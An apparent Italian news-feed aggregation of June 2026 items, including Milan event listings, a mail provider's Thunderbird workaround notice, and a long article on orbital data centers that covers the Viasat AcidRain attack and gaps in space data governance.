Per alcuni appuntamenti ospitati negli spazi interni o nel cosiddetto “Giardino Nascosto” potrebbe invece essere necessario possedere la tessera associativa NAMA,
richiedibile tramite registrazione online.


L’edizione 2026 rappresenta anche un importante esempio di partecipazione cittadina.
La raccolta fondi promossa per sostenere il festival ha coinvolto circa 960 sostenatori, ottenendo uno dei risultati più rilevanti tra i progetti finanziati attraverso il Crowdfunding Civico del Comune di Milano.

In una Milano che nei mesi estivi tende a svuotarsi, il NAMA Summer Festival propone un’alternativa ai grandi eventi a pagamento. Musica, cinema, attività culturali e spazi verdi si fondono in un format pensato per creare relazioni e mantenere vivo il quartiere della Martesana anche durante l’estate.
Per chi è alla ricerca di qualcosa da fare a Milano tra giugno e luglio senza spendere nulla, il NAMA Summer Festival si conferma come uno degli appuntamenti più interessanti da inserire in agenda.

L'articolo NAMA Summer Festival: un mese di appuntamenti gratuiti nel cuore della Martesana proviene da InfoMilano.news.

San Francisco's Patchwork Streets

15 Giugno 2026 ore 16:33
A period of unsettled weather brought scattered showers and thunderstorms to California’s Bay Area on May 27, 2026. That afternoon, a break in the clouds left downtown San Francisco and nearby communities beneath mostly cloud-free skies, allowing an astronaut aboard the International Space Station to take this photograph.

Questo giradischi fa schifo! - Technics SL-303, riparo un giradischi per audiofili supereconomici

14 Giugno 2026 ore 18:00

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09:50 - Sostituzione dei trimmer e regolazione della velocità
12:02 - Primo test di ascolto: "The Colla"
13:03 - Risoluzione dei problemi al braccio
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17:55 - Test finale e conclusioni


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Jack Vale is live at Walmart with the Pooter!

12 Giugno 2026 ore 19:55

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Alcuni problemi con la posta / Issues with email accounts

di: ale
12 Giugno 2026 ore 12:11

[ITA] Un recente (circa 10 giorni fa) aggiornamento dei nostri servizi di posta pare stia causando dei problemi con alcuni account, in combinazione con Thunderbird. I sintomi variano: non si vede più l’elenco dei folder, oppure lo si vede, ma non compaiono i messaggi nuovi – può sembrare che non stiate più ricevendo posta.

La posta sta venendo consegnata regolarmente! Il problema è nell’interazione con i client. I messaggi nuovi si possono vedere, per esempio, utilizzando la webmail.

Stiamo indagando per risolvere il problema.

[ENG] It appears that a recent (about 10 days ago) major upgrade of our email systems is causing some issues to a subset of users, primarily when using Thunderbird as their email client. Symptoms vary: TB might stop showing the list of folders, or perhaps it will show it, but then the INBOX folder will not display new messages. It might look like you’re no longer receiving any email.

Email is being delivered without issues! The problem is with the client. You can, for example, access new messages by using the webmail.

We’re investigating to attempt to resolve this issue.

AGGIORNAMENTO / UPDATE

[ITA] Si può temporaneamente aggirare il problema, per chi usa Thunderbird, disabilitando la compressione IMAP (RFC 4978) andando nelle impostazioni avanzate ed impostando la variabile mail.server.default.use_compress_deflate a false.

[ENG] It is possible to temporarily work around the issue for Thunderbird users, by going into the advanced settings, looking for the mail.server.default.use_compress_deflate variable, and setting it to false.

AGGIORNAMENTO 2 / UPDATE 2

[ITA] Dovremmo essere riusciti a mitigare il problema lato server, nessuna modifica al client è più necessaria.

[ENG] We think we have mitigated the issue server-side, so no client changes should be necessary anymore.

La sfida dei data center spaziali

11 Giugno 2026 ore 11:00

Immagine in evidenza rielaborata con Intelligenza Artificiale

I data center divorano l’1,5% dell’elettricità mondiale. Per la precisione: 415 terawattora nel 2024. L’equivalente di quasi l’intero consumo annuo di energia elettrica di una nazione come la Francia. Ma è una quota destinata a più che raddoppiare entro il 2030, spinta soprattutto dall’intelligenza artificiale generativa, che l’Agenzia Internazionale dell’Energia identifica come “il fattore più importante” di questa crescita.

Le reti elettriche globali sono già sotto pressione, ma la costruzione di nuove linee di trasmissione richiede dai quattro agli otto anni nei paesi più avanzati. Nel frattempo, la domanda di calcolo aumenta così velocemente che nessuna infrastruttura terrestre riesce a stare al passo.

È in questo contesto che governi e aziende tecnologiche hanno cominciato a guardare allo spazio. Del resto, lo spazio offre energia solare continua senza competere con le reti terrestri, la possibilità di sfruttare il raffreddamento passivo nel vuoto senza consumare acqua e di elaborare i dati direttamente a bordo dei satelliti che li raccolgono, senza doverli trasmettere integralmente a Terra. Quello che sembrava fantascienza è diventato, nel giro di pochi anni, un programma industriale con date, contratti e lanci già effettuati.

A maggio 2025, la Cina ha lanciato i primi satelliti di una costellazione per l’elaborazione dei dati direttamente nello spazio. Nella stessa direzione si stanno muovendo anche gli Stati Uniti. Le due grandi potenze hanno avviato programmi concreti, ancora in parte sperimentali, per portare calcolo e archiviazione oltre il cielo. Si tratta, però, di un salto tecnologico con una conseguenza politica: in futuro, i dati più strategici di governi, eserciti e grandi aziende potrebbero non trovarsi più in nessuna nazione.

I progetti a stelle e strisce

I satelliti producono quantità enormi di dati, spesso troppo grandi per essere inviati interamente sulla Terra in tempo reale. Processarli in orbita riduce la latenza e la dipendenza dalle stazioni terrestri. Hewlett Packard Enterprise ha dimostrato la fattibilità di questo approccio con il programma Spaceborne Computer. La multinazionale statunitense, leader nelle soluzioni tecnologiche edge-to-cloud (in cui l’elaborazione dei dati avviene in parte sul dispositivo remoto e in parte sui server centrali), ha installato server commerciali standard sulla Stazione Spaziale Internazionale (ISS) nel 2017, 2021 e 2024. Questo ha permesso di ridurre fino al 90% il volume dei dati da trasmettere a Terra.

In un’intervista a Via Satellite (novembre 2025), Clint Crosier, già responsabile della pianificazione della U.S. Space Force e oggi direttore Aerospace & Satellite Solutions di AWS, ha illustrato i risultati pratici. In un test con la startup italiana D-Orbit, elaborare i dati direttamente a bordo del satellite ha permesso di trasmettere a Terra solo le immagini realmente utili: il satellite ha continuato a soddisfare tutti i requisiti della missione usando il 42% in meno di banda. Liberando quella banda, lo stesso satellite può inviare quasi il doppio dei dati utili senza alcuna modifica all’hardware. Il vantaggio per le applicazioni militari è evidente (non a caso, il Department of Defense Space Strategy statunitense identifica lo spazio come dominio operativo a tutti gli effetti).

Gli Stati Uniti stanno inoltre sviluppando la Proliferated Warfighter Space Architecture (PWSA) della Space Development Agency (SDA): una costellazione di centinaia di piccoli satelliti in orbita bassa interconnessi otticamente. Una flotta progettata per garantire comunicazioni resilienti e rilevamento missilistico anche in caso di attacchi a infrastrutture terrestri. A dicembre 2025, la SDA ha assegnato contratti per circa 3,5 miliardi di dollari per la costruzione di altri 72 satelliti di tracciamento missilistico. La logica strategica è chiara: in uno scenario di conflitto, gli impianti e le installazioni a terra sono tra i primi obiettivi a essere colpiti. Una capacità di calcolo dislocata nello spazio, interconnessa otticamente e ridondante offre invece maggiore sicurezza e una continuità operativa difficilmente replicabile sulla Terra.

La Cina accelera: la Three-Body Computing Constellation

Dagli Stati Uniti alla Cina. Come già accennato, il 14 maggio 2025 la Repubblica Popolare ha lanciato i primi 12 satelliti della Three-Body Computing Constellation, sviluppata dall’istituto di ricerca Zhejiang Lab e dall’azienda ADA Space di Chengdu. Ogni satellite offre 744 TOPS (tera-operazioni al secondo) e l’intera rete è progettata per espandersi fino a 2.800 satelliti, con una potenza computazionale complessiva di 1.000 peta-operazioni al secondo, paragonabile per ordine di grandezza ai supercomputer terrestri più potenti. I satelliti sono collegati da link laser inter-satellite (un collegamento che usa fasci di luce laser per trasmettere dati direttamente da un satellite all’altro), alimentati da pannelli solari e raffreddati passivamente dal vuoto, eliminando i costosi sistemi di raffreddamento a liquido dei data center terrestri.

Secondo un piano quinquennale citato dall’emittente televisiva cinese CCTV e ripreso dalla Reuters lo scorso 29 gennaio, la CASC (China Aerospace Science and Technology Corporation) ha annunciato la costruzione di un’infrastruttura digitale spaziale da un gigawatt di potenza, identificata come pilastro del 15° Piano Quinquennale cinese, integrando capacità cloud, edge computing e terminali per elaborare dati direttamente in orbita.

Il ruolo delle aziende private

C’è però da osservare che la corsa ai data center orbitali non è più una prerogativa dei governi. A novembre 2025, Starcloud ha lanciato il primo satellite equipaggiato con una GPU NVIDIA H100, realizzando la prima dimostrazione di addestramento AI direttamente in orbita. L’11 gennaio 2026, con la missione Twilight di SpaceX, sono arrivati in orbita i primi due nodi del data center orbitale della statunitense Axiom Space, sviluppati in collaborazione con la canadese Kepler Communications e collegati tramite link ottici da 2,5 Gbps.

Google, con il progetto Suncatcher, punta invece a una costellazione di satelliti dotati di TPU (i processori per l’intelligenza artificiale progettati da Google) alimentati da energia solare, con un primo test, in collaborazione con la società di San Francisco Planet Labs, previsto per il 2027. Secondo indiscrezioni, SpaceX starebbe preparando una generazione aggiornata dei satelliti della sua costellazione Starlink capace di ospitare carichi di calcolo, con link ottici inter-satellite a banda ultralarga.

A rendere economicamente plausibili delle infrastrutture permanenti in orbita è anche la riduzione dei costi di lancio, che – secondo uno studio della NASA – sono passati da circa 54mila dollari al chilogrammo con lo Space Shuttle a 2.700 dollari con il razzo riutilizzabile Falcon 9 della società spaziale di Elon Musk: una riduzione di venti volte in due decenni. Tuttavia, la gestione privata di sistemi potenzialmente critici introduce domande (per ora) senza risposta: a cominciare da chi sia responsabile in caso di violazione dei dati su un satellite commerciale.

Dal canto suo, l’Europa non dispone di un programma comparabile per il cloud orbitale. Il progetto IRIS² – 290 satelliti per comunicazioni sicure, contratto da 10,5 miliardi firmato nel dicembre 2024 con il consorzio SpaceRISE – non include infrastrutture di calcolo orbitale autonome. Sul fronte della ricerca, il progetto europeo ASCEND ha completato nel 2024 uno studio che conferma la fattibilità tecnica dei data center orbitali e si pone l’obiettivo di dispiegare 1 GW entro il 2050. ASCEND è guidato da Thales Alenia Space, joint venture tra Thales e Leonardo: la partecipazione dell’azienda italiana è il contributo più diretto del nostro paese a questo scenario.

C’è poi da notare che D-Orbit, startup comasca già protagonista del test AWS, è tra le realtà italiane più avanzate sul tema dell’elaborazione dati in orbita e ha sottoscritto contratti con l’ESA (l’Agenzia spaziale europea) nell’ambito della costellazione di osservazione IRIDE, finanziata con fondi PNRR. Ma l’Italia non ha un programma nazionale dedicato al cloud orbitale. Il rischio è quello già visto in altri ambiti digitali: competenze industriali elevate senza controllo sull’infrastruttura finale.

Vulnerabilità e limiti

Il 24 febbraio 2022, all’ora esatta dell’invasione russa dell’Ucraina, un attacco informatico ha colpito la rete KA-SAT di Viasat (il gigante californiano delle telecomunicazioni satellitari), disabilitando decine di migliaia di modem satellitari in Ucraina e in Europa. Il malware usato – un wiper chiamato AcidRain – non ha violato nessun satellite in orbita, sfruttando invece una vulnerabilità VPN in server di gestione della rete fisicamente localizzati nel nord Italia, propagandosi fino a disabilitare 5.800 turbine eoliche in Germania. A maggio 2022, Stati Uniti, Unione Europea, Regno Unito e una dozzina di governi europei – inclusa l’Italia – hanno attribuito pubblicamente l’attacco al GRU, l’intelligence militare russa.

Il caso Viasat contiene una lezione che vale doppio per i data center orbitali: il punto più vulnerabile di un’infrastruttura spaziale non è il satellite. È tutto ciò che lo gestisce da Terra: stazioni di controllo, reti di uplink, sistemi di autenticazione, catena di fornitura dell’hardware. A questo si aggiunge un problema strutturale specifico dello spazio: il patching. Un data center terrestre può infatti ricevere una patch di sicurezza in pochi minuti. Un satellite in orbita bassa ha finestre di comunicazione limitate, banda ristretta e nessuna possibilità di intervento fisico. Se un sistema orbitale venisse compromesso, la risposta sarebbe strutturalmente più lenta e, in alcuni scenari, impossibile senza un nuovo lancio.

Jamming e spoofing GPS sono già operativi in zona di conflitto e documentati sistematicamente dall’Agenzia europea per la sicurezza aerea (EASA) nel Mar Nero, in Medio Oriente e nel Baltico: dimostrano che l’interferenza deliberata sulle infrastrutture spaziali è una realtà, non un’ipotesi. Un attacco a un sistema orbitale porterebbe le stesse complessità a un livello superiore: chi ha giurisdizione, chi può intervenire, con quali strumenti e in quale tempo utile.

Il vuoto normativo

L’Outer Space Treaty del 1967 attribuisce allo Stato di lancio la giurisdizione e il controllo sugli oggetti spaziali, indipendentemente da dove operino. Ma questo trattato non contempla infrastrutture digitali, non regola la proprietà dei dati in orbita, non prevede meccanismi di applicazione in caso di violazione informatica. 

A quasi sessant’anni dalla firma, non esiste nessun trattato internazionale che disciplini specificamente la protezione dei dati nello spazio. Nel 2019, dopo otto anni di negoziato, l’UN COPUOS (la Commissione delle Nazioni Unite sull’uso pacifico dello spazio extra-atmosferico) ha adottato 21 linee guida per la sostenibilità a lungo termine delle attività spaziali: volontarie, non vincolanti e relative a detriti, sicurezza operativa e traffico orbitale. La protezione dei dati non è contemplata.

Il primo segnale che la questione stia diventando urgente sul piano normativo è arrivato a gennaio di quest’anno: SpaceX ha depositato all’americana FCC (Federal Communications Commission) una richiesta per lanciare fino a un milione di satelliti definiti esplicitamente “orbital data centers”. Questo è il primo iter normativo al mondo che affronta direttamente il tema, ma riguarda una sola nazione e non tocca le questioni di giurisdizione sui dati.

Payal Arora, professoressa di AI inclusiva all’Università di Utrecht (Olanda), ha sintetizzato il problema in un’analisi pubblicata da Rest of World nel febbraio 2026: se i dati dei cittadini sono elaborati in orbita, la sovranità digitale “diventa ambigua”, sospesa tra il Paese d’origine, lo Stato di lancio e l’operatore commerciale del satellite. Nessuno dei meccanismi esistenti – né il diritto spaziale internazionale, né il diritto cyber nazionale, né i trattati di mutua assistenza giudiziaria – è stato progettato per rispondere a questi aspetti.

Per decenni il potere digitale è stato ancorato a piattaforme fisiche entro confini nazionali. Anche i cavi sottomarini, che trasportano oltre il 95% del traffico internet globale, hanno una giurisdizione di riferimento, con trattati, procedure e responsabilità definite. Il cloud orbitale rompe questo sistema. I dati possono essere archiviati ed elaborati in luoghi che nessuna autorità nazionale può raggiungere, né fisicamente né giuridicamente. In sostanza, per la prima volta, la localizzazione dei dati smette di coincidere con il territorio.

Come spiega Jane Munga, ricercatrice per l’Africa al Carnegie Endowment for International Peace, la sovranità tende a seguire la proprietà dell’infrastruttura: chi non partecipa al suo possesso e alla sua governance rischia di essere relegato a produttore di dati senza alcuna capacità reale di controllo su come siano archiviati, elaborati o usati. Un’incognita che sconfina dal campo dell’innovazione tecnologica. Quello in corso è un passaggio epocale le cui conseguenze sono ancora da scrivere. Il rischio è che si erigano infrastrutture informatiche cruciali per nazioni, imprese e cittadini che superino la sovranità digitale degli Stati. Senza che ci siano le regole per governarle.

L'articolo La sfida dei data center spaziali proviene da Guerre di Rete.

The Pooter - Farting at Walmart "I KNOW WHAT HE'S UP TO!"

10 Giugno 2026 ore 19:00

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Ritorna Cinema in Festa: film a 3,50 euro e debutta anche Toy Story 5

10 Giugno 2026 ore 16:36


Quattro giornate dedicate al grande schermo con ingressi a prezzo speciale e l’arrivo di uno dei film più attesi della stagione.

Dal 15 al 18 giugno torna Cinema in Festa, l’iniziativa nazionale che consente di assistere a qualsiasi film nelle sale aderenti pagando soltanto 3,50 euro a biglietto.


Anche molti cinema di Milano e della Lombardia hanno aderito all’evento, offrendo agli spettatori la possibilità di vivere l’esperienza del cinema a un costo particolarmente vantaggioso.
Tra le pellicole più attese di questa edizione spicca Toy Story 5,
il nuovo capitolo della storica serie Disney-Pixar che riporta sul grande schermo Woody, Buzz Lightyear, Jessie e gli altri personaggi che hanno conquistato generazioni di spettatori. Il film farà il suo debutto nelle sale italiane il 18 giugno e sarà tra le principali novità disponibili negli ultimi giorni della manifestazione.
Nel nuovo episodio, i giocattoli si troveranno ad affrontare una situazione mai vista prima: l’influenza della tecnologia nella vita dei più piccoli. La vicenda ruota attorno a Lilypad, un moderno tablet che cattura immediatamente l’interesse della giovane Bonnie, mettendo in discussione l’importanza dei giocattoli tradizionali.


Cinema in Festa nasce con l’obiettivo di favorire il ritorno del pubblico nelle sale cinematografiche ed è promosso dall’intero comparto dell’industria cinematografica italiana.

Negli ultimi anni l’iniziativa ha raccolto un crescente consenso, diventando un appuntamento molto apprezzato dagli appassionati di cinema.


L’evento rappresenta un’ottima opportunità sia per recuperare i film ancora in programmazione sia per scoprire le nuove uscite previste per l’estate.
Per verificare l’elenco completo delle sale aderenti e consultare gli orari delle proiezioni,
è possibile visitare i siti ufficiali dei cinema partecipanti.

L'articolo Ritorna Cinema in Festa: film a 3,50 euro e debutta anche Toy Story 5 proviene da InfoMilano.news.

THINKNODE M4 RECENSIONE ITALIANA 🇮🇹 Il Power Bank Meshtastic che fa TUTTO!

10 Giugno 2026 ore 12:30

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In questo video provo il nuovo ThinkNode M4, un dispositivo davvero particolare che combina un nodo Meshtastic, GPS integrato e un power bank da 7000 mAh.

L'idea è semplice: avere sempre con sé un nodo Meshtastic pronto all'uso e contemporaneamente una batteria di emergenza per smartphone e altri dispositivi.

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Guida pratica per scegliere un ERP aziendale adatto ai propri processi

10 Giugno 2026 ore 12:47
Erp aziendali - Foto Pexel
Scegliere un ERP è dunque una decisione strategica, e farlo bene richiede metodo: partire dai processi reali, definire requisiti chiari, confrontare diverse soluzioni su casi concreti, scegliere un partner affidabile e pianificare un'adozione progressiva.

L'articolo Guida pratica per scegliere un ERP aziendale adatto ai propri processi proviene da FullPress.

Guerre di Rete continua, in memoria di Carola Frediani

10 Giugno 2026 ore 11:00

Non è possibile sostituire Carola Frediani, fondatrice, anima e colonna portante di Guerre di Rete. Allo stesso tempo, sappiamo per certo che l’ultima cosa che Carola avrebbe voluto è che questo progetto terminasse.

Carola ha sempre voluto ampliare e far crescere Guerre di Rete. Non c’era nulla che le desse più soddisfazione che individuare nuovi collaboratori e collaboratrici, allargare la squadra della redazione, trasformare ciò che era nato come una newsletter personale in un progetto collettivo.

È per questo che Guerre di Rete va avanti, in memoria di Carola e d’accordo con la sua famiglia.

Guerre di Rete prosegue mantenendo inalterato il patto con il lettore. Il nostro continuerà a essere un giornalismo rigoroso, approfondito, autonomo e indipendente.

I nostri lettori e le nostre lettrici sono coloro che ci permettono di andare avanti, finanziando un progetto che quindi solo a loro vuole e deve rispondere.

Il lavoro di Carola Frediani è la nostra bussola. L’affetto e la stima che proviamo per lei è la ragione per cui vogliamo portare avanti la sua missione.

Lo faremo con tutte le nostre forze.

La redazione di Guerre di Rete

L'articolo Guerre di Rete continua, in memoria di Carola Frediani proviene da Guerre di Rete.

Artemis III Crew Announced

9 Giugno 2026 ore 21:39
NASA announced the Artemis III crew on Tuesday, June 9, 2026. NASA astronaut Andre Douglas, mission specialist; ESA (European Space Agency) astronaut Luca Parmitano, pilot; NASA astronaut Randy Bresnik, commander; and NASA astronaut Frank Rubio, mission specialist, will demonstrate the Orion spacecraft's rendezvous and docking capabilities with test versions from one, or both, American commercial human landing systems in development by Blue Origin and SpaceX.

Cascina Corten apre a Milano : Giovedì 11 Giugno la grande inaugurazione

9 Giugno 2026 ore 18:32

Milano accoglie una nuova location destinata a diventare uno dei punti di riferimento per
pranzi,aperitivi, eventi e serate all’aperto. Giovedì 11 giugno 2026 arriva infatti la
grande inaugurazione di Cascina Corten Milano, il nuovo spazio situato nella zona di Merlata Bloom,
una delle aree più dinamiche e in forte crescita della città.

Per celebrare l’apertura è stato organizzato un esclusivo Opening Party con ingresso su accredito e drink omaggio per gli ospiti che parteciperanno all’evento inaugurale.

Per partecipare gratuitamente basta Accreditarsi :
https://www.infomilano.news/eventi/inaugurazionecascinacorten/

Dove si trova Cascina Corten Milano

La nuova Cascina Corten si trova in Via Pier Paolo Pasolini 3, a pochi passi dal Merlata Bloom Milano, il nuovo polo commerciale e di intrattenimento che negli ultimi anni ha trasformato completamente questa zona della città.

L’obiettivo della location è offrire un ambiente moderno immerso nel verde, perfetto per pranzi,aperitivi al tramonto, eventi aziendali, feste private, DJ set e appuntamenti estivi.

L’Opening Party: aperitivo e DJ set

L’evento inaugurale sarà l’occasione ideale per scoprire gli spazi della nuova struttura e vivere una serata all’insegna della musica e della convivialità.

Durante la serata gli ospiti potranno partecipare a:

  • Aperitivo serale
  • Drink omaggio all’ingresso
  • DJ Set fino a tarda sera
  • Area relax e socializzazione
  • Atmosfera open air immersa nel verde

Una formula pensata per chi cerca nuove location a Milano dove trascorrere una serata diversa dal solito, lontano dal caos del centro ma facilmente raggiungibile.

Per partecipare gratuitamente basta Accreditarsi :
https://www.infomilano.news/eventi/inaugurazionecascinacorten/

Perché Cascina Corten potrebbe diventare una delle location più interessanti dell’estate milanese

Negli ultimi anni Milano ha visto nascere numerosi spazi dedicati agli eventi outdoor, ma la zona Merlata rappresenta una delle novità più interessanti del panorama cittadino.

La presenza di ampie aree verdi, la vicinanza alle principali arterie cittadine e il continuo sviluppo del quartiere rendono Cascina Corten una location con un enorme potenziale per ospitare eventi, aperitivi, festival e appuntamenti musicali durante tutta la stagione estiva.

Chi ama scoprire nuove location a Milano troverà in Cascina Corten uno spazio completamente nuovo, ideale per vivere l’aperitivo in un contesto rilassato e contemporaneo.

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CASCINA CORTEN

Via Pier Paolo Pasolini 3, Milano

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Eternit abbandonato sul Romito: intervengono gli Ispettori Ambientali

9 Giugno 2026 ore 15:19

La Polizia Municipale avvia le indagini per risalire all’autore dello scempio prefigurandosi un reato di natura penale

Non potevano certamente passare inosservati agli operatori di AAMPS/Retiambiente due “big bag” in polietilene di grosse dimensioni contenenti materiale di risulta da lavorazioni edili abbandonati nelle ore notturne accanto ad un cassonetto stradale per la raccolta dei rifiuti in località Le Vaschette sul Romito a ridosso della scogliera.

Sul posto sono prontamente intervenuti gli Ispettori Ambientali che, prima di nastrare il materiale rinvenuto per impedirne il contatto con i passanti, hanno constatato che in buona parte si tratta di eternit e, quindi, di un rifiuto speciale-pericoloso.
.
L’abbandono è stato segnalato alla Polizia Municipale che ha avviato le indagini per risalire all’autore prefigurandosi un reato di natura penale ai sensi del D.L. n. 105 del 2023.  Il materiale verrà poi rimosso da una ditta specializzata nel trattamento di tale tipologia di rifiuti allertata da AAMPS/Retiambiente.
.
Per le segnalazioni a contrasto del degrado urbano: segnalali@comune.livorno.it
Per le segnalazioni sugli abbandoni dei rifiuti: centraleoperativapm@comune.livorno.it; ispettori@aamps.livorno.it, info@aamps.livorno.it; numero verde 800-031.266, pagine facebook/instagram “Aamps Livorno”.

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Follow the Money: Messina Denaro— 200 milioni sequestrati nel 2026

8 Giugno 2026 ore 22:09

💾

Dove finiscono i soldi della mafia? Chi erano i padroni del traffico internazionale di eroina — e come hanno nascosto miliardi tra paradisi fiscali, prestanome e conti esteri? Nel maggio 2026, la risposta è arrivata con un sequestro da 200 milioni di euro.

Matteo Messina Denaro non era solo il capo di Cosa Nostra: era anche il custode di un patrimonio immenso, costruito in decenni di narcotraffico e riciclaggio. Ma prima di lui, negli anni '70 e '80, erano Stefano Bontate, Salvatore Inzerillo e Gaetano Badalamenti a controllare i flussi di denaro sporco che attraversavano il mondo — dalle raffinerie di eroina siciliane agli investimenti immobiliari in Florida, fino alle alleanze con i Gambino di Brooklyn.

Cosa trovi in questo video:
✔️ Il sequestro da 200 milioni di euro a Messina Denaro nel 2026: società, immobili e conti esteri
✔️ Stefano Bontate, "il Principe di Villagrazia": il boss che gestiva il narcotraffico internazionale
✔️ Salvatore Inzerillo e il traffico di eroina con i Gambino di New York
✔️ Gaetano Badalamenti e il controllo della Cupola: investimenti e fuga dal potere
✔️ Come funziona il riciclaggio mafioso: prestanome, paradisi fiscali e canali finanziari esteri
✔️ La guerra di mafia degli anni '80 e la distruzione dei patrimoni dei Bontate e degli Inzerillo

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#ItaliaMistero #MisteriItaliani #DocumentariItaliani #MessinaDenaro #CosaNostra #MafiaSiciliana #RiciclaggioDenaro #GaetanoBadalamenti #StefanoBontate #SalvatoreInzerillo

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• Questo video è frutto di ricerca giornalistica e utilizza solo fonti pubbliche e accessibili.
• Alcune immagini o brevi spezzoni video sono riprodotti per finalità di cronaca, critica, commento o informazione ai sensi dell'art. 70 LDA.
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• Non vengono promossi comportamenti contrari alla legge.
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Supersonic!

8 Giugno 2026 ore 17:42
NASA’s X-59 quiet supersonic research aircraft completed its first supersonic flight Friday, June 5, 2026, marking the first time the aircraft exceeded the speed of sound in support of NASA’s Quesst mission. The milestone represents a major step in flight testing as the aircraft expands into the supersonic portion of its flight envelope.

SFIDO IL CAMPIONE DEL MONDO AL MONZA PIZZA BIKEPARK

8 Giugno 2026 ore 14:00

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Oggi abbiamo in park @DawajDawid , il campione del Mondo di Slopestyle del 2024... e mi ha battuto in pantaloni corti 😅🤣. Dopo aver assaggiato Pizza e gelato Italiani, Dawid ci ha parlato poi del suo progetto più grande con Red Bull, dove ha speso 300.000€ per saltare su un treno in corsa!

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GARR alla TNC26: la conferenza internazionale della rete della ricerca

8 Giugno 2026 ore 11:20

GARR alla TNC26: la conferenza internazionale della rete della ricerca

Dal 8 al 12 giugno 2026, Helsinki ospita TNC26, la principale conferenza internazionale dedicata al networking per la ricerca e l'istruzione, organizzata da GÉANT in collaborazione con CSC, il centro nazionale finlandese per le infrastrutture IT scientifiche che gestisce Funet, la rete della ricerca finlandese.

GRAVI PROBLEMATICHE SULLE RETRIBUZIONI DELEGAZIONE DI OPERAI SOLVAY LIVORNO DAVANTI AL LA SEDE DI CONFINDUSTRIA. L'AZIENDA PROVA A NEGARE L'ASSEMBLEA DEI LAVORATORI. L'ASSOCIAZIONE DI CATEGORIA CHIUDE LA SEDE

8 Giugno 2026 ore 09:42

Da mesi gli operai della Solvay degli stabilimenti di Livorno e Rosignano sono alle prese con gravi problematiche per quanto riguarda la retribuzione e gli stipendi. L';azienda, dopo aver deciso di cambiare gestionale per l'elaborazione dei cedolini, ha iniziato ad  pagare le retribuzioni con vistosi ammanchi di denaro. In alcune occasioni agli operai sono state corrisposte cifre più alte per poi essere sottratte nuovamente, il mese successivo, senza alcuna spiegazione tecnica e senza giustificativi precisi. Dopo il primo mese la situazione poteva e doveva essere risolta mentre invece i disagi si stanno protraendo ormai da troppo tempo.  


Per questo motivo nella giornata odierna era stata indetta un&#039;assemblea sindacale dalla RSU Solvay. Assemblea che è stata poi negata dalla dirigenza aziendale. I Lavoratori si sono presentati comunque davanti alla sede di confindustria, una delegazione fuori dall'orario di lavoro, in segno di protesta.  Anche l'associazione di categoria ha deciso di sbarrare il portone.
Questo è l'tteggiamento che i padroni hanno deciso di tenere di fronte ad una legittima mobilitazione e di fronte a problematiche che hanno come unico responsabile l'azienda e non certo i lavoratori.


Serve chiarezza rispetto al pagamento degli stipendi. Una multinazionale, come la solvay, non è in grado di risolovere una situazione come questa?
Grazie alle proteste, in entrambi gli stabilimenti, la RSU è stata convocata per il 9 giugno. USB farà la sua parte affinchè si arrivi ad una soluzione che veda salvaguardati gli interessi dei lavoratori.


RSU Solvay
USB Livorno

Revox B225: Lettore CD, Precisione Svizzera, Zero Difetti - Riparazione per audiofili incazzati

7 Giugno 2026 ore 18:00

💾

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Timeline:
00:00 - Introduzione e analisi delle condizioni del Revox B225
01:29 - Primo test di accensione e problemi al display
03:17 - Verifica del laser e del sistema di messa a fuoco
03:46 - Analisi termica: componenti che surriscaldano (IC2)
05:45 - Smontaggio della meccanica Philips CDM0 e test bobine
06:46 - Sostituzione del transistor BD136 in corto
07:12 - Test di funzionamento: la lente torna a muoversi
08:27 - Regolazione dell'altezza del motore (Service Manual)
08:58 - Recupero di un secondo Revox "rottame" per pezzi di ricambio
11:58 - Pulizia e restauro estetico (scambio frontalini e tasti)
13:10 - Scambio della scheda audio e primo ascolto riuscito
13:51 - Taratura fine: misura potenza laser e segnale RF
14:23 - Regolazione della messa a fuoco con oscilloscopio
16:57 - Restauro lampadine originali con vernice specifica
18:22 - Risoluzione errori di lettura e boost tensione laser
20:12 - Analisi finale del secondo apparecchio e conclusioni
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#revox #lettorecd #riparazione #informatica #musica #mvvblog #audio #audiophile #audiofilo

Social Cinema: il cinema gratuito riaccende i quartieri di Milano

6 Giugno 2026 ore 11:33

Milano 5 Giugno 2026 – Milano riscopre il piacere del cinema condiviso sotto le stelle.
Da giugno a settembre ritorna “Social Cinema”, la rassegna itinerante ideata da Cinevan che porterà proiezioni gratuite, documentari, incontri e momenti di socialità nei quartieri della città, trasformando cortili, parchi e piazze in luoghi di incontro e partecipazione.

Un vecchio van Volkswagen attrezzato come cinema mobile attraverserà sei quartieri milanesi per raccontare, le storie di chi ogni giorno costruisce comunità: associazioni, volontari, abitanti, educatori e realtà sociali che animano il tessuto urbano spesso lontano dai riflettori.

Il progetto prenderà il via il 9 giugno dal quartiere Muggiano, nella periferia ovest della città, insieme all’associazione Cous Cous Clan. Poi il viaggio proseguirà tra il Borgo Intergenerazionale di Greco con ABCittà, il Parco Ravizza con i volontari del NAGA, i giardini condivisi di via Gattamelata con ParteciPrato, il giardino della Fondazione IBVA, fino alle case popolari MM di via Scaldasole e viale Lombardia insieme ad Arci Fiocchi.

In totale saranno organizzate 18 proiezioni gratuite in 6 quartieri cittadini, accompagnate da 6 narrazioni video partecipate e da una selezione di film scelta insieme agli abitanti: ogni tappa ospiterà tre serate gratuite di cinema all’aperto, con una programmazione pensata per coinvolgere pubblici diversi – bambini, famiglie, giovani e anziani – accompagnata da aperitivi comunitari, tavolate condivise e occasioni di incontro tra abitanti.

 “Social Cinema” non sarà soltanto una rassegna cinematografica. Al centro dell’iniziativa ci sono anche sei brevi documentari originali dedicati ai territori coinvolti, narrati dalla giornalista Sara Zambotti e realizzati insieme alle associazioni partner. I video affronteranno temi cruciali per la Milano contemporanea: il diritto alla casa, le politiche migratorie, la cittadinanza attiva, la rigenerazione urbana e il valore degli spazi pubblici come luoghi di relazione.

L’obiettivo è semplice e ambizioso allo stesso tempo: usare il cinema come strumento culturale capace di creare connessioni sociali e riportare le persone negli spazi condivisi della città.

“Una comunità è un organismo che ha bisogno di essere nutrito per prosperare”, spiega Luca Cusani promotore del progetto. Ed è proprio questo il cuore di Social Cinema: costruire momenti di aggregazione autentica attraverso la cultura accessibile e gratuita. 

Il progetto è realizzato da Cinevan con il contributo del Bando 57 di Fondazione di Comunità Milano, in partenariato con ABCittà, Fondazione IBVA e Parteciprato, e con la collaborazione di Arci Fiocchi, Cous Cous Clan, NAGA e MM Spa.     


Programma completo su https://www.cinevan.it/social-cinema/ 


Per informazioni: 

www.cinevan.it

info@cinevan.it


+39 328 104 3876

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gnutrition @ Savannah: GNUtrition 0.33

6 Giugno 2026 ore 00:37

